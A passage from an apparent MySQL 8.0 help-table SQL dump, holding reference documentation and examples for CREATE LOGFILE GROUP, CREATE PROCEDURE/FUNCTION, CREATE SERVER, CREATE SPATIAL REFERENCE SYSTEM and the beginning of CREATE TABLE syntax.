NDB (or NDBCLUSTER). If ENGINE is not set,\nMySQL tries to use the engine specified by the default_storage_engine\nserver system variable (formerly storage_engine). In any case, if the\nengine is not specified as NDB or NDBCLUSTER, the CREATE LOGFILE GROUP\nstatement appears to succeed but actually fails to create the log file\ngroup, as shown here:\n\nmysql> CREATE LOGFILE GROUP lg1\n -> ADD UNDOFILE \'undo.dat\' INITIAL_SIZE = 10M;\nQuery OK, 0 rows affected, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS;\n+-------+------+------------------------------------------------------------------------------------------------+\n| Level | Code | Message |\n+-------+------+------------------------------------------------------------------------------------------------+\n| Error | 1478 | Table storage engine \'InnoDB\' does not support the create option \'TABLESPACE or LOGFILE GROUP\' |\n+-------+------+------------------------------------------------------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> DROP LOGFILE GROUP lg1 ENGINE = NDB;\nERROR 1529 (HY000): Failed to drop LOGFILE GROUP\n\nmysql> CREATE LOGFILE GROUP lg1\n -> ADD UNDOFILE \'undo.dat\' INITIAL_SIZE = 10M\n -> ENGINE = NDB;\nQuery OK, 0 rows affected (2.97 sec)\n\nThe fact that the CREATE LOGFILE GROUP statement does not actually\nreturn an error when a non-NDB storage engine is named, but rather\nappears to succeed, is a known issue which we hope to address in a\nfuture release of NDB Cluster.\n\nREDO_BUFFER_SIZE, NODEGROUP, WAIT, and COMMENT are parsed but ignored,\nand so have no effect in MySQL 8.0. These options are intended for\nfuture expansion.\n\nWhen used with ENGINE [=] NDB, a log file group and associated UNDO log\nfile are created on each Cluster data node. You can verify that the\nUNDO files were created and obtain information about them by querying\nthe Information Schema FILES table. For example:\n\nmysql> SELECT LOGFILE_GROUP_NAME, LOGFILE_GROUP_NUMBER, EXTRA\n -> FROM INFORMATION_SCHEMA.FILES\n -> WHERE FILE_NAME = \'undo_10.dat\';\n+--------------------+----------------------+----------------+\n| LOGFILE_GROUP_NAME | LOGFILE_GROUP_NUMBER | EXTRA |\n+--------------------+----------------------+----------------+\n| lg_3 | 11 | CLUSTER_NODE=3 |\n| lg_3 | 11 | CLUSTER_NODE=4 |\n+--------------------+----------------------+----------------+\n2 rows in set (0.06 sec)\n\nCREATE LOGFILE GROUP is useful only with Disk Data storage for NDB\nCluster. See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-logfile-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-logfile-group.html'),(520,'CREATE PROCEDURE',40,'Syntax:\nCREATE\n [DEFINER = user]\n PROCEDURE [IF NOT EXISTS] sp_name ([proc_parameter[,...]])\n [characteristic ...] routine_body\n\nCREATE\n [DEFINER = user]\n FUNCTION [IF NOT EXISTS] sp_name ([func_parameter[,...]])\n RETURNS type\n [characteristic ...] routine_body\n\nproc_parameter:\n [ IN | OUT | INOUT ] param_name type\n\nfunc_parameter:\n param_name type\n\ntype:\n Any valid MySQL data type\n\ncharacteristic: {\n COMMENT \'string\'\n | LANGUAGE SQL\n | [NOT] DETERMINISTIC\n | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }\n | SQL SECURITY { DEFINER | INVOKER }\n}\n\nroutine_body:\n Valid SQL routine statement\n\nThese statements are used to create a stored routine (a stored\nprocedure or function). That is, the specified routine becomes known to\nthe server. By default, a stored routine is associated with the default\ndatabase. To associate the routine explicitly with a given database,\nspecify the name as db_name.sp_name when you create it.\n\nThe CREATE FUNCTION statement is also used in MySQL to support loadable\nfunctions. See [HELP CREATE FUNCTION loadable function]. A loadable\nfunction can be regarded as an external stored function. Stored\nfunctions share their namespace with loadable functions. See\nhttps://dev.mysql.com/doc/refman/8.0/en/function-resolution.html, for\nthe rules describing how the server interprets references to different\nkinds of functions.\n\nTo invoke a stored procedure, use the CALL statement (see [HELP CALL]).\nTo invoke a stored function, refer to it in an expression. The function\nreturns a value during expression evaluation.\n\nCREATE PROCEDURE and CREATE FUNCTION require the CREATE ROUTINE\nprivilege. If the DEFINER clause is present, the privileges required\ndepend on the user value, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\nIf binary logging is enabled, CREATE FUNCTION might require the SUPER\nprivilege, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-logging.html.\n\nBy default, MySQL automatically grants the ALTER ROUTINE and EXECUTE\nprivileges to the routine creator. This behavior can be changed by\ndisabling the automatic_sp_privileges system variable. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-routines-privileges.html\n.\n\nThe DEFINER and SQL SECURITY clauses specify the security context to be\nused when checking access privileges at routine execution time, as\ndescribed later in this section.\n\nIf the routine name is the same as the name of a built-in SQL function,\na syntax error occurs unless you use a space between the name and the\nfollowing parenthesis when defining the routine or invoking it later.\nFor this reason, avoid using the names of existing SQL functions for\nyour own stored routines.\n\nThe IGNORE_SPACE SQL mode applies to built-in functions, not to stored\nroutines. It is always permissible to have spaces after a stored\nroutine name, regardless of whether IGNORE_SPACE is enabled.\n\nIF NOT EXISTS prevents an error from occurring if there already exists\na routine with the same name. This option is supported with both CREATE\nFUNCTION and CREATE PROCEDURE beginning with MySQL 8.0.29.\n\nIf a built-in function with the same name already exists, attempting to\ncreate a stored function with CREATE FUNCTION ... IF NOT EXISTS\nsucceeds with a warning indicating that it has the same name as a\nnative function; this is no different than when performing the same\nCREATE FUNCTION statement without specifying IF NOT EXISTS.\n\nIf a loadable function with the same name already exists, attempting to\ncreate a stored function using IF NOT EXISTS succeeds with a warning.\nThis is the same as without specifying IF NOT EXISTS.\n\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/function-resolution.html#functi\non-name-resolution, for more information.\n\nThe parameter list enclosed within parentheses must always be present.\nIf there are no parameters, an empty parameter list of () should be\nused. Parameter names are not case-sensitive.\n\nEach parameter is an IN parameter by default. To specify otherwise for\na parameter, use the keyword OUT or INOUT before the parameter name.\n\n*Note*:\n\nSpecifying a parameter as IN, OUT, or INOUT is valid only for a\nPROCEDURE. For a FUNCTION, parameters are always regarded as IN\nparameters.\n\nAn IN parameter passes a value into a procedure. The procedure might\nmodify the value, but the modification is not visible to the caller\nwhen the procedure returns. An OUT parameter passes a value from the\nprocedure back to the caller. Its initial value is NULL within the\nprocedure, and its value is visible to the caller when the procedure\nreturns. An INOUT parameter is initialized by the caller, can be\nmodified by the procedure, and any change made by the procedure is\nvisible to the caller when the procedure returns.\n\nFor each OUT or INOUT parameter, pass a user-defined variable in the\nCALL statement that invokes the procedure so that you can obtain its\nvalue when the procedure returns. If you are calling the procedure from\nwithin another stored procedure or function, you can also pass a\nroutine parameter or local routine variable as an OUT or INOUT\nparameter. If you are calling the procedure from within a trigger, you\ncan also pass NEW.col_name as an OUT or INOUT parameter.\n\nFor information about the effect of unhandled conditions on procedure\nparameters, see\nhttps://dev.mysql.com/doc/refman/8.0/en/conditions-and-parameters.html.\n\nRoutine parameters cannot be referenced in statements prepared within\nthe routine; see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-program-restrictions.html\n.\n\nThe following example shows a simple stored procedure that, given a\ncountry code, counts the number of cities for that country that appear\nin the city table of the world database. The country code is passed\nusing an IN parameter, and the city count is returned using an OUT\nparameter:\n\nmysql> delimiter //\n\nmysql> CREATE PROCEDURE citycount (IN country CHAR(3), OUT cities INT)\n BEGIN\n SELECT COUNT(*) INTO cities FROM world.city\n WHERE CountryCode = country;\n END//\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> delimiter ;\n\nmysql> CALL citycount(\'JPN\', @cities); -- cities in Japan\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> SELECT @cities;\n+---------+\n| @cities |\n+---------+\n| 248 |\n+---------+\n1 row in set (0.00 sec)\n\nmysql> CALL citycount(\'FRA\', @cities); -- cities in France\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> SELECT @cities;\n+---------+\n| @cities |\n+---------+\n| 40 |\n+---------+\n1 row in set (0.00 sec)\n\nThe example uses the mysql client delimiter command to change the\nstatement delimiter from ; to // while the procedure is being defined.\nThis enables the ; delimiter used in the procedure body to be passed\nthrough to the server rather than being interpreted by mysql itself.\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-defining.html.\n\nThe RETURNS clause may be specified only for a FUNCTION, for which it\nis mandatory. It indicates the return type of the function, and the\nfunction body must contain a RETURN value statement. If the RETURN\nstatement returns a value of a different type, the value is coerced to\nthe proper type. For example, if a function specifies an ENUM or SET\nvalue in the RETURNS clause, but the RETURN statement returns an\ninteger, the value returned from the function is the string for the\ncorresponding ENUM member of set of SET members.\n\nThe following example function takes a parameter, performs an operation\nusing an SQL function, and returns the result. In this case, it is\nunnecessary to use delimiter because the function definition contains\nno internal ; statement delimiters:\n\nmysql> CREATE FUNCTION hello (s CHAR(20))\nmysql> RETURNS CHAR(50) DETERMINISTIC\n RETURN CONCAT(\'Hello, \',s,\'!\');\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT hello(\'world\');\n+----------------+\n| hello(\'world\') |\n+----------------+\n| Hello, world! |\n+----------------+\n1 row in set (0.00 sec)\n\nParameter types and function return types can be declared to use any\nvalid data type. The COLLATE attribute can be used if preceded by a\nCHARACTER SET specification.\n\nThe routine_body consists of a valid SQL routine statement. This can be\na simple statement such as SELECT or INSERT, or a compound statement\nwritten using BEGIN and END. Compound statements can contain\ndeclarations, loops, and other control structure statements. The syntax\nfor these statements is described in\nhttps://dev.mysql.com/doc/refman/8.0/en/sql-compound-statements.html.\nIn practice, stored functions tend to use compound statements, unless\nthe body consists of a single RETURN statement.\n\nMySQL permits routines to contain DDL statements, such as CREATE and\nDROP. MySQL also permits stored procedures (but not stored functions)\nto contain SQL transaction statements such as COMMIT. Stored functions\nmay not contain statements that perform explicit or implicit commit or\nrollback. Support for these statements is not required by the SQL\nstandard, which states that each DBMS vendor may decide whether to\npermit them.\n\nStatements that return a result set can be used within a stored\nprocedure but not within a stored function. This prohibition includes\nSELECT statements that do not have an INTO var_list clause and other\nstatements such as SHOW, EXPLAIN, and CHECK TABLE. For statements that\ncan be determined at function definition time to return a result set, a\nNot allowed to return a result set from a function error occurs\n(ER_SP_NO_RETSET\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_sp_no_retset)). For statements that can be determined only\nat runtime to return a result set, a PROCEDURE %s can\'t return a result\nset in the given context error occurs (ER_SP_BADSELECT\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_sp_badselect)).\n\nUSE statements within stored routines are not permitted. When a routine\nis invoked, an implicit USE db_name is performed (and undone when the\nroutine terminates). The causes the routine to have the given default\ndatabase while it executes. References to objects in databases other\nthan the routine default database should be qualified with the\nappropriate database name.\n\nFor additional information about statements that are not permitted in\nstored routines, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-program-restrictions.html\n.\n\nFor information about invoking stored procedures from within programs\nwritten in a language that has a MySQL interface, see [HELP CALL].\n\nMySQL stores the sql_mode system variable setting in effect when a\nroutine is created or altered, and always executes the routine with\nthis setting in force, regardless of the current server SQL mode when\nthe routine begins executing.\n\nThe switch from the SQL mode of the invoker to that of the routine\noccurs after evaluation of arguments and assignment of the resulting\nvalues to routine parameters. If you define a routine in strict SQL\nmode but invoke it in nonstrict mode, assignment of arguments to\nroutine parameters does not take place in strict mode. If you require\nthat expressions passed to a routine be assigned in strict SQL mode,\nyou should invoke the routine with strict mode in effect.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-procedure.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-procedure.html'),(521,'CREATE FUNCTION',40,'Syntax:\nCREATE\n [DEFINER = user]\n PROCEDURE [IF NOT EXISTS] sp_name ([proc_parameter[,...]])\n [characteristic ...] routine_body\n\nCREATE\n [DEFINER = user]\n FUNCTION [IF NOT EXISTS] sp_name ([func_parameter[,...]])\n RETURNS type\n [characteristic ...] routine_body\n\nproc_parameter:\n [ IN | OUT | INOUT ] param_name type\n\nfunc_parameter:\n param_name type\n\ntype:\n Any valid MySQL data type\n\ncharacteristic: {\n COMMENT \'string\'\n | LANGUAGE SQL\n | [NOT] DETERMINISTIC\n | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }\n | SQL SECURITY { DEFINER | INVOKER }\n}\n\nroutine_body:\n Valid SQL routine statement\n\nThese statements are used to create a stored routine (a stored\nprocedure or function). That is, the specified routine becomes known to\nthe server. By default, a stored routine is associated with the default\ndatabase. To associate the routine explicitly with a given database,\nspecify the name as db_name.sp_name when you create it.\n\nThe CREATE FUNCTION statement is also used in MySQL to support loadable\nfunctions. See [HELP CREATE FUNCTION loadable function]. A loadable\nfunction can be regarded as an external stored function. Stored\nfunctions share their namespace with loadable functions. See\nhttps://dev.mysql.com/doc/refman/8.0/en/function-resolution.html, for\nthe rules describing how the server interprets references to different\nkinds of functions.\n\nTo invoke a stored procedure, use the CALL statement (see [HELP CALL]).\nTo invoke a stored function, refer to it in an expression. The function\nreturns a value during expression evaluation.\n\nCREATE PROCEDURE and CREATE FUNCTION require the CREATE ROUTINE\nprivilege. If the DEFINER clause is present, the privileges required\ndepend on the user value, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\nIf binary logging is enabled, CREATE FUNCTION might require the SUPER\nprivilege, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-logging.html.\n\nBy default, MySQL automatically grants the ALTER ROUTINE and EXECUTE\nprivileges to the routine creator. This behavior can be changed by\ndisabling the automatic_sp_privileges system variable. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-routines-privileges.html\n.\n\nThe DEFINER and SQL SECURITY clauses specify the security context to be\nused when checking access privileges at routine execution time, as\ndescribed later in this section.\n\nIf the routine name is the same as the name of a built-in SQL function,\na syntax error occurs unless you use a space between the name and the\nfollowing parenthesis when defining the routine or invoking it later.\nFor this reason, avoid using the names of existing SQL functions for\nyour own stored routines.\n\nThe IGNORE_SPACE SQL mode applies to built-in functions, not to stored\nroutines. It is always permissible to have spaces after a stored\nroutine name, regardless of whether IGNORE_SPACE is enabled.\n\nIF NOT EXISTS prevents an error from occurring if there already exists\na routine with the same name. This option is supported with both CREATE\nFUNCTION and CREATE PROCEDURE beginning with MySQL 8.0.29.\n\nIf a built-in function with the same name already exists, attempting to\ncreate a stored function with CREATE FUNCTION ... IF NOT EXISTS\nsucceeds with a warning indicating that it has the same name as a\nnative function; this is no different than when performing the same\nCREATE FUNCTION statement without specifying IF NOT EXISTS.\n\nIf a loadable function with the same name already exists, attempting to\ncreate a stored function using IF NOT EXISTS succeeds with a warning.\nThis is the same as without specifying IF NOT EXISTS.\n\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/function-resolution.html#functi\non-name-resolution, for more information.\n\nThe parameter list enclosed within parentheses must always be present.\nIf there are no parameters, an empty parameter list of () should be\nused. Parameter names are not case-sensitive.\n\nEach parameter is an IN parameter by default. To specify otherwise for\na parameter, use the keyword OUT or INOUT before the parameter name.\n\n*Note*:\n\nSpecifying a parameter as IN, OUT, or INOUT is valid only for a\nPROCEDURE. For a FUNCTION, parameters are always regarded as IN\nparameters.\n\nAn IN parameter passes a value into a procedure. The procedure might\nmodify the value, but the modification is not visible to the caller\nwhen the procedure returns. An OUT parameter passes a value from the\nprocedure back to the caller. Its initial value is NULL within the\nprocedure, and its value is visible to the caller when the procedure\nreturns. An INOUT parameter is initialized by the caller, can be\nmodified by the procedure, and any change made by the procedure is\nvisible to the caller when the procedure returns.\n\nFor each OUT or INOUT parameter, pass a user-defined variable in the\nCALL statement that invokes the procedure so that you can obtain its\nvalue when the procedure returns. If you are calling the procedure from\nwithin another stored procedure or function, you can also pass a\nroutine parameter or local routine variable as an OUT or INOUT\nparameter. If you are calling the procedure from within a trigger, you\ncan also pass NEW.col_name as an OUT or INOUT parameter.\n\nFor information about the effect of unhandled conditions on procedure\nparameters, see\nhttps://dev.mysql.com/doc/refman/8.0/en/conditions-and-parameters.html.\n\nRoutine parameters cannot be referenced in statements prepared within\nthe routine; see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-program-restrictions.html\n.\n\nThe following example shows a simple stored procedure that, given a\ncountry code, counts the number of cities for that country that appear\nin the city table of the world database. The country code is passed\nusing an IN parameter, and the city count is returned using an OUT\nparameter:\n\nmysql> delimiter //\n\nmysql> CREATE PROCEDURE citycount (IN country CHAR(3), OUT cities INT)\n BEGIN\n SELECT COUNT(*) INTO cities FROM world.city\n WHERE CountryCode = country;\n END//\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> delimiter ;\n\nmysql> CALL citycount(\'JPN\', @cities); -- cities in Japan\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> SELECT @cities;\n+---------+\n| @cities |\n+---------+\n| 248 |\n+---------+\n1 row in set (0.00 sec)\n\nmysql> CALL citycount(\'FRA\', @cities); -- cities in France\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> SELECT @cities;\n+---------+\n| @cities |\n+---------+\n| 40 |\n+---------+\n1 row in set (0.00 sec)\n\nThe example uses the mysql client delimiter command to change the\nstatement delimiter from ; to // while the procedure is being defined.\nThis enables the ; delimiter used in the procedure body to be passed\nthrough to the server rather than being interpreted by mysql itself.\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-defining.html.\n\nThe RETURNS clause may be specified only for a FUNCTION, for which it\nis mandatory. It indicates the return type of the function, and the\nfunction body must contain a RETURN value statement. If the RETURN\nstatement returns a value of a different type, the value is coerced to\nthe proper type. For example, if a function specifies an ENUM or SET\nvalue in the RETURNS clause, but the RETURN statement returns an\ninteger, the value returned from the function is the string for the\ncorresponding ENUM member of set of SET members.\n\nThe following example function takes a parameter, performs an operation\nusing an SQL function, and returns the result. In this case, it is\nunnecessary to use delimiter because the function definition contains\nno internal ; statement delimiters:\n\nmysql> CREATE FUNCTION hello (s CHAR(20))\nmysql> RETURNS CHAR(50) DETERMINISTIC\n RETURN CONCAT(\'Hello, \',s,\'!\');\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT hello(\'world\');\n+----------------+\n| hello(\'world\') |\n+----------------+\n| Hello, world! |\n+----------------+\n1 row in set (0.00 sec)\n\nParameter types and function return types can be declared to use any\nvalid data type. The COLLATE attribute can be used if preceded by a\nCHARACTER SET specification.\n\nThe routine_body consists of a valid SQL routine statement. This can be\na simple statement such as SELECT or INSERT, or a compound statement\nwritten using BEGIN and END. Compound statements can contain\ndeclarations, loops, and other control structure statements. The syntax\nfor these statements is described in\nhttps://dev.mysql.com/doc/refman/8.0/en/sql-compound-statements.html.\nIn practice, stored functions tend to use compound statements, unless\nthe body consists of a single RETURN statement.\n\nMySQL permits routines to contain DDL statements, such as CREATE and\nDROP. MySQL also permits stored procedures (but not stored functions)\nto contain SQL transaction statements such as COMMIT. Stored functions\nmay not contain statements that perform explicit or implicit commit or\nrollback. Support for these statements is not required by the SQL\nstandard, which states that each DBMS vendor may decide whether to\npermit them.\n\nStatements that return a result set can be used within a stored\nprocedure but not within a stored function. This prohibition includes\nSELECT statements that do not have an INTO var_list clause and other\nstatements such as SHOW, EXPLAIN, and CHECK TABLE. For statements that\ncan be determined at function definition time to return a result set, a\nNot allowed to return a result set from a function error occurs\n(ER_SP_NO_RETSET\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_sp_no_retset)). For statements that can be determined only\nat runtime to return a result set, a PROCEDURE %s can\'t return a result\nset in the given context error occurs (ER_SP_BADSELECT\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_sp_badselect)).\n\nUSE statements within stored routines are not permitted. When a routine\nis invoked, an implicit USE db_name is performed (and undone when the\nroutine terminates). The causes the routine to have the given default\ndatabase while it executes. References to objects in databases other\nthan the routine default database should be qualified with the\nappropriate database name.\n\nFor additional information about statements that are not permitted in\nstored routines, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-program-restrictions.html\n.\n\nFor information about invoking stored procedures from within programs\nwritten in a language that has a MySQL interface, see [HELP CALL].\n\nMySQL stores the sql_mode system variable setting in effect when a\nroutine is created or altered, and always executes the routine with\nthis setting in force, regardless of the current server SQL mode when\nthe routine begins executing.\n\nThe switch from the SQL mode of the invoker to that of the routine\noccurs after evaluation of arguments and assignment of the resulting\nvalues to routine parameters. If you define a routine in strict SQL\nmode but invoke it in nonstrict mode, assignment of arguments to\nroutine parameters does not take place in strict mode. If you require\nthat expressions passed to a routine be assigned in strict SQL mode,\nyou should invoke the routine with strict mode in effect.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-procedure.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-procedure.html'),(522,'CREATE SERVER',40,'Syntax:\nCREATE SERVER server_name\n FOREIGN DATA WRAPPER wrapper_name\n OPTIONS (option [, option] ...)\n\noption: {\n HOST character-literal\n | DATABASE character-literal\n | USER character-literal\n | PASSWORD character-literal\n | SOCKET character-literal\n | OWNER character-literal\n | PORT numeric-literal\n}\n\nThis statement creates the definition of a server for use with the\nFEDERATED storage engine. The CREATE SERVER statement creates a new row\nin the servers table in the mysql database. This statement requires the\nSUPER privilege.\n\nThe server_name should be a unique reference to the server. Server\ndefinitions are global within the scope of the server, it is not\npossible to qualify the server definition to a specific database.\nserver_name has a maximum length of 64 characters (names longer than 64\ncharacters are silently truncated), and is case-insensitive. You may\nspecify the name as a quoted string.\n\nThe wrapper_name is an identifier and may be quoted with single\nquotation marks.\n\nFor each option you must specify either a character literal or numeric\nliteral. Character literals are UTF-8, support a maximum length of 64\ncharacters and default to a blank (empty) string. String literals are\nsilently truncated to 64 characters. Numeric literals must be a number\nbetween 0 and 9999, default value is 0.\n\n*Note*:\n\nThe OWNER option is currently not applied, and has no effect on the\nownership or operation of the server connection that is created.\n\nThe CREATE SERVER statement creates an entry in the mysql.servers table\nthat can later be used with the CREATE TABLE statement when creating a\nFEDERATED table. The options that you specify are used to populate the\ncolumns in the mysql.servers table. The table columns are Server_name,\nHost, Db, Username, Password, Port and Socket.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-server.html\n\n','CREATE SERVER s\nFOREIGN DATA WRAPPER mysql\nOPTIONS (USER \'Remote\', HOST \'198.51.100.106\', DATABASE \'test\');\n','https://dev.mysql.com/doc/refman/8.0/en/create-server.html'),(523,'CREATE SPATIAL REFERENCE SYSTEM',40,'Syntax:\nCREATE OR REPLACE SPATIAL REFERENCE SYSTEM\n srid srs_attribute ...\n\nCREATE SPATIAL REFERENCE SYSTEM\n [IF NOT EXISTS]\n srid srs_attribute ...\n\nsrs_attribute: {\n NAME \'srs_name\'\n | DEFINITION \'definition\'\n | ORGANIZATION \'org_name\' IDENTIFIED BY org_id\n | DESCRIPTION \'description\'\n}\n\nsrid, org_id: 32-bit unsigned integer\n\nThis statement creates a spatial reference system (SRS) definition and\nstores it in the data dictionary. It requires the SUPER privilege. The\nresulting data dictionary entry can be inspected using the\nINFORMATION_SCHEMA ST_SPATIAL_REFERENCE_SYSTEMS table.\n\nSRID values must be unique, so if neither OR REPLACE nor IF NOT EXISTS\nis specified, an error occurs if an SRS definition with the given srid\nvalue already exists.\n\nWith CREATE OR REPLACE syntax, any existing SRS definition with the\nsame SRID value is replaced, unless the SRID value is used by some\ncolumn in an existing table. In that case, an error occurs. For\nexample:\n\nmysql> CREATE OR REPLACE SPATIAL REFERENCE SYSTEM 4326 ...;\nERROR 3716 (SR005): Can\'t modify SRID 4326. There is at\nleast one column depending on it.\n\nTo identify which column or columns use the SRID, use this query,\nreplacing 4326 with the SRID of the definition you are trying to\ncreate:\n\nSELECT * FROM INFORMATION_SCHEMA.ST_GEOMETRY_COLUMNS WHERE SRS_ID=4326;\n\nWith CREATE ... IF NOT EXISTS syntax, any existing SRS definition with\nthe same SRID value causes the new definition to be ignored and a\nwarning occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-spatial-reference-system.html\n\n','CREATE SPATIAL REFERENCE SYSTEM 4120\nNAME \'Greek\'\nORGANIZATION \'EPSG\' IDENTIFIED BY 4120\nDEFINITION\n \'GEOGCS[\"Greek\",DATUM[\"Greek\",SPHEROID[\"Bessel 1841\",\n 6377397.155,299.1528128,AUTHORITY[\"EPSG\",\"7004\"]],\n AUTHORITY[\"EPSG\",\"6120\"]],PRIMEM[\"Greenwich\",0,\n AUTHORITY[\"EPSG\",\"8901\"]],UNIT[\"degree\",0.017453292519943278,\n AUTHORITY[\"EPSG\",\"9122\"]],AXIS[\"Lat\",NORTH],AXIS[\"Lon\",EAST],\n AUTHORITY[\"EPSG\",\"4120\"]]\';\n','https://dev.mysql.com/doc/refman/8.0/en/create-spatial-reference-system.html'),(524,'CREATE TABLE',40,'Syntax:\nCREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name\n (create_definition,...)\n [table_options]\n [partition_options]\n\nCREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name\n [(create_definition,...)]\n [table_options]\n [partition_options]\n [IGNORE | REPLACE]\n [AS] query_expression\n\nCREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name\n { LIKE old_tbl_name | (LIKE old_tbl_name) }\n\ncreate_definition: {\n col_name column_definition\n | {INDEX | KEY} [index_name] [index_type] (key_part,...)\n [index_option] ...\n | {FULLTEXT | SPATIAL} [INDEX | KEY] [index_name] (key_part,...)\n [index_option] ...\n | [CONSTRAINT [symbol]] PRIMARY KEY\n [index_type] (key_part,...)\n [index_option] ...\n | [CONSTRAINT [symbol]] UNIQUE [INDEX | KEY]\n [index_name] [index_type] (key_part,...)\n [index_option] ...\n | [CONSTRAINT [symbol]] FOREIGN KEY\n [index_name] (col_name,...)\n reference_definition\n | check_constraint_definition\n}\n\ncolumn_definition: {\n data_type [NOT NULL | NULL] [DEFAULT {literal | (expr)} ]\n [VISIBLE | INVISIBLE]\n [AUTO_INCREMENT] [UNIQUE [KEY]] [[PRIMARY] KEY]\n [COMMENT \'string\']\n [COLLATE collation_name]\n [COLUMN_FORMAT {FIXED | DYNAMIC | DEFAULT}]\n [ENGINE_ATTRIBUTE [=] \'string\']\n [SECONDARY_ENGINE_ATTRIBUTE [=] \'string\']\n [STORAGE {DISK | MEMORY}]\n [reference_definition]\n [check_constraint_definition]\n | data_type\n [COLLATE collation_name]\n [GENERATED ALWAYS] AS (expr)\n [VIRTUAL | STORED] [NOT NULL | NULL]\n [VISIBLE | INVISIBLE]\n [UNIQUE [KEY]] [[PRIMARY] KEY]\n [COMMENT \'string\']\n [reference_definition]\n [check_constraint_definition]\n}\n\ndata_type:\n (see https://dev.mysql.com/doc/refman/8.0/en/data-types.html)\n\nkey_part: {col_name [(length)] | (expr)} [ASC | DESC]\n\nindex_type:\n USING {BTREE | HASH}\n\nindex_option: {\n KEY_BLOCK_SIZE [=] value\n | index_type\n | WITH PARSER parser_name\n | COMMENT \'string\'\n | {VISIBLE | INVISIBLE}\n |ENGINE_ATTRIBUTE [=] \'string\'\n |SECONDARY_ENGINE_ATTRIBUTE [=] \'string\'\n}\n\ncheck_constraint_definition:\n [CONSTRAINT [symbol]] CHECK (expr) [[NOT] ENFORCED]\n\nreference_definition:\n REFERENCES tbl_name (key_part,...)\n [MATCH FULL | MATCH PARTIAL | MATCH SIMPLE]\n [ON DELETE reference_option]\n [ON UPDATE reference_option]\n\nreference_option:\n RESTRICT | CASCADE | SET NULL | NO ACTION | SET DEFAULT\n\ntable_options:\n table_option [[,] table_option] ...\n\ntable_option: {\n AUTOEXTEND_SIZE [=] value\n | AUTO_INCREMENT [=] value\n | AVG_ROW_LENGTH [=] value\n | [DEFAULT] CHARACTER SET [=] charset_name\n | CHECKSUM [=] {0 | 1}\n | [DEFAULT] COLLATE [=] collation_name\n | COMMENT [=] \'string\'\n | COMPRESSION [=] {\'ZLIB\' | \'LZ4\' | \'NONE\'}\n | CONNECTION [=] \'connect_string\'\n | {DATA | INDEX} DIRECTORY [=] \'absolute path to directory\'\n | DELAY_KEY_WRITE [=] {0 | 1}\n | ENCRYPTION [=] {\'Y\' | \'N\'}\n | ENGINE [=] engine_name\n | ENGINE_ATTRIBUTE [=] \'string\'\n | INSERT_METHOD [=] { NO | FIRST | LAST }\n | KEY_BLOCK_SIZE [=] value\n | MAX_ROWS [=] value\n | MIN_ROWS [=] value\n | PACK_KEYS [=] {0 | 1 | DEFAULT}\n | PASSWORD [=] \'string\'\n | ROW_FORMAT [=] {DEFAULT | DYNAMIC | FIXED | COMPRESSED | REDUNDANT | COMPACT}\n | START TRANSACTION \n | SECONDARY_ENGINE_ATTRIBUTE [=] \'string\'\n | STATS_AUTO_RECALC [=] {DEFAULT | 0 | 1}\n | STATS_PERSISTENT [=] {DEFAULT | 0 | 1}\n | STATS_SAMPLE_PAGES [=] value\n | tablespace_option\n | UNION [=] (tbl_name[,tbl_name]...)\n}\n\npartition_options:\n PARTITION BY\n { [LINEAR] HASH(expr)\n | [LINEAR] KEY [ALGORITHM={1 | 2}] (column_list)\n | RANGE{(expr) | COLUMNS(column_list)}\n | LIST{(expr) | COLUMNS(column_list)} }\n [PARTITIONS num]\n [SUBPARTITION BY\n { [LINEAR] HASH(expr)\n | [LINEAR] KEY [ALGORITHM={1 | 2}] (column_list) }\n [SUBPARTITIONS num]\n ]\n [(partition_definition [, partition_definition] ...)]\n\npartition_definition:\n PARTITION partition_name\n [VALUES\n {LESS THAN {(expr | value_list) | MAXVALUE}\n |\n IN (value_list)}]\n [[STORAGE] ENGINE [=] engine_name]\n [COMMENT [=] \'string\' ]\n [DATA DIRECTORY [=] \'data_dir\']\n [INDEX DIRECTORY [=] \'index_dir\']\n 